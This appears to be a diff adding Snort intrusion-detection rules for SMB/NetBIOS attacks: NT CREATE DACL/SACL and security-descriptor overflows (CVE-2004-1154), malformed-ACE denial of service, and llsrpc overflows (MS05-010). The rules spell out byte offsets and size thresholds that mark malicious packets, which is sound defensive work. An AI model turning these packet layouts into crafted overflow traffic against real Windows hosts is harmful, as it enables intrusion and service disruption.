+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3050; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3024; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3026; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE andx DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3035; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode andx DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3041; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3046; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3053; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3043; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3042; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE andx oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3019; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3020; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3034; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode andx SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3029; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3052; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE andx oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3023; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE andx DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3039; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode andx DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3037; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3045; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE andx SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3031; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3028; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3018; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3056; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3055; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3040; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3022; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3049; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode andx SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3033; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3038; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3109; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|llsrpc|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3092; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3111; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3100; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3114; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3119; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3127; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|llsrpc|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3096; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3123; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3110; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3117; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3108; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3098; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|l|00|l|00|s|00|r|00|p|00|c|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3095; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3121; rev:3;)
